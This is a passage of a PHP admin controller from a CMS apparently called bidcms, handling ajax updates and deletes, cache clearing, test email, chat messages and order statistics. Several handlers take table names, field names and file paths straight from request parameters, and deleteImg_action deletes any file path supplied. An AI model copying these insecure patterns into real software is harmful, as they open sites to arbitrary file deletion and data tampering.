				$guestbook=$guestbook_mod->where(['id'=>$updateid])->get_one();
			}
			include $this->bidcms_template('guestbook_ajax_form');
		}
	}
	//ajax修改添加处理
	function admin_ajax_action()
	{
        global $cache;
		$key=$this->get('primarykey','id');
		
		if(empty($this->get('table')))
		{
			echo '参数有误';
			exit;
		}
		elseif(empty($this->get('field')))
		{
			echo '字段为空';
			exit;
		}

		elseif(intval($this->get('primary'))==0)
		{
			echo '主键不能为0';
			exit;
		}

		else
		{
			$obj=$this->bidcms_model($this->get('table'));
			if(in_array($this->get('table'),array('cate','link','article_cate')))
			{
				$cache->delete($this->get('table'));
			}
			$data[$this->get('field')]=trim(strip_tags($this->get('val')));
			$container[$key] = intval($this->get('primary'));
			
			$goods=$obj->where($container)->get_one();
			
			if($goods && $obj->where($container)->update_data($data))
			{
				exit('1');
			}
			else
			{
				exit('failed');
			}
		}
	}
	//ajax删除处理
	function admin_delete_action()
	{
        global $cache;
		$key=$this->get('key','id');
		if(empty($this->get('table')))
		{
			echo '参数有误';
			exit;
		}
		elseif(empty($this->get('val')))
		{
			echo '字段值为空';
			exit;
		}
		else
		{
			$val=global_addslashes($this->get('val'));
			$container[$key]=trim($val);
			$obj=$this->bidcms_model($this->get('table'));
			if(in_array($this->get('table'),array('article_cate','cate','link')))
			{
				$cache->delete($this->get('table'));
			}
			$goods=$obj->where($container)->get_one();
			if($goods && $obj->where($container)->delete_data())
			{
				exit('1');
			}
			else
			{
				exit('failed');
			}
		}

	}
	//清空缓存
	function delcache_action()
	{
		$dofile=cleancache();
		if($dofile==='nowrite')
		{
			echo '<SCRIPT LANGUAGE="JavaScript">
			<!--
				parent.showDiglog("'.$GLOBALS['setting']['company_cache_dir'].'目录修改权限不足,请联系服务商");
			//-->
			</SCRIPT>';
		}
		elseif(!$dofile)
		{
			echo '<SCRIPT LANGUAGE="JavaScript">
			<!--
				parent.showDiglog("清空缓存失败,请在ftp上手动清除");
			//-->
			</SCRIPT>';
		}
		else
		{
			echo '<SCRIPT LANGUAGE="JavaScript">
			<!--
				parent.showDiglog("清空缓存成功");
			//-->
			</SCRIPT>';
		}
	}

	//测试邮件
	function testmail_action()
	{
		$email['smtp']=$this->post('test_email_smtp');
		$email['port']=$this->post('test_email_port');
		$email['account']=$this->post('test_email_user');
		if($this->email($this->post('get_email'),'测试标题','您好，这是'.$GLOBALS['setting']['site_title'].'一封测试邮件'))
		{
			echo "<script language='javascript'>alert('发送成功');</script>";
		}
		else
		{
			echo "<script language='javascript'>alert('发送失败');</script>";
		}
	}
	//聊天内容管理
	function chat_action()
	{
		$chat_mod=$this->bidcms_model('chat');
		$showpage=array('isshow'=>1,'current_page'=>intval($this->bidcms_request('page')),'page_size'=>20,'url'=>'?con='.$GLOBALS['setting']['adminpath'].'&act=chat');
		$chatlist=$chat_mod->get_page($showpage,'order by id desc');
        $count = count($chatlist)<$showpage['page_size']?0:$chat_mod->get_count();
        $pageinfo = $this->bidcms_parse_page($count,$showpage);
		include $this->bidcms_template('chat');
	}
	//添加系统聊天内容
	function chatmodify_action()
	{
		if($this->bidcms_submit_check('commit'))
		{
			$chat_mod=$this->bidcms_model('chat');
			$data['issystem']=1;
			$data['ispassed']=1;
			$data['goods_name']='系统信息';
			$data['username']='系统信息';
			$data['content']=trim($this->post('content'));
			$data['updatetime']=time();
			$insertid=$chat_mod->insert_data($data);
			if($insertid)
			{
				echo "<SCRIPT LANGUAGE='JavaScript'>var objdata={}; objdata.dotype='add';objdata.id='$insertid';objdata.content='".global_addslashes($data['content'])."';parent.parsechatData(objdata);</SCRIPT>";
			}
		}
		else
		{
			include $this->bidcms_template('chat_ajax_form');
		}
	}
	/**
	*删除图片
	*/
	function deleteImg_action()
	{
		$val=$this->get('img');
		if(is_file($val))
		{
			if(unlink($val))
			{
				exit('1');
			}
			else
			{
				exit('文件无法删除,请检查权限');
			}
		}
		else
		{
			exit('文件无法删除,不存在此文件');
		}
	}

	/*--------------------------------------------------------------------
	*函数功能区
	------------------------------------------------------------------------*/
	
	//统计商品
	function _goodsCount()
	{
		$goods_mod=$this->bidcms_model('goods_base');
		$complete_mod=$this->bidcms_model('goods_complete');
		$goods=$goods_mod->get_page();
		$completetotal=$complete_mod->get_count('goods_id');
		$goodscount=array('load'=>0,'nostart'=>0,'complete'=>0);
		foreach($goods as $k=>$v)
		{
			if($v['starttime']<=time())
			{
				$goodscount['load']++;
			}
			else
			{
				$goodscount['nostart']++;
			}
		}
		$goodscount['complete']=$completetotal;
		return $goodscount;
	}
	
	//统计会员
	function _userCount()
	{
		$user=$this->bidcms_model('user_base')->get_page();
		$usercount=array('adminuser'=>0,'normaluser'=>0);
		foreach($user as $k=>$v)
		{
			if($v['usertype']=='adminuser')
			{
				$usercount['adminuser']++;
			}
			else
			{
				$usercount['normaluser']++;
			}
		}
		return $usercount;
	}
	//统计定单数
	function _orderCount()
	{
		$order_mod=$this->bidcms_model('order_base');
		$order=$order_mod->get_sql("select count(id) as total,`order_status` from %0 group by `order_status`");
        
		$ordercount=array('pay'=>0,'send'=>0,'nopay'=>0,'confirm'=>0,'cancel'=>0);
        $order_stat = array();
        if(!empty($order)){
          foreach($order as $k=>$v)
          {
              $order_stat[$v['order_status']] = $v['total'];
          }
          if(isset($order_stat[1]))
          {
            $ordercount['pay'] = $order_stat[1];
          }
          if(isset($order_stat[2]))
          {
            $ordercount['send'] = $order_stat[2];
          }
          if(isset($order_stat[0]))
          {
            $ordercount['nopay'] = $order_stat[0];
          }
          if(isset($order_stat[3]))
          {
            $ordercount['confirm'] = $order_stat[3];
          }
          if(isset($order_stat[4]))
          {
            $ordercount['cancel'] = $order_stat[4];
          }
        }
		
		return $ordercount;
	}
	function _checkcode($code)
	{
		include ROOT_PATH.'./models/imgcode.php';
		$imgcode_mode=new Helper_ImgCode();
		return $imgcode_mode->isValid($code);
	}
}
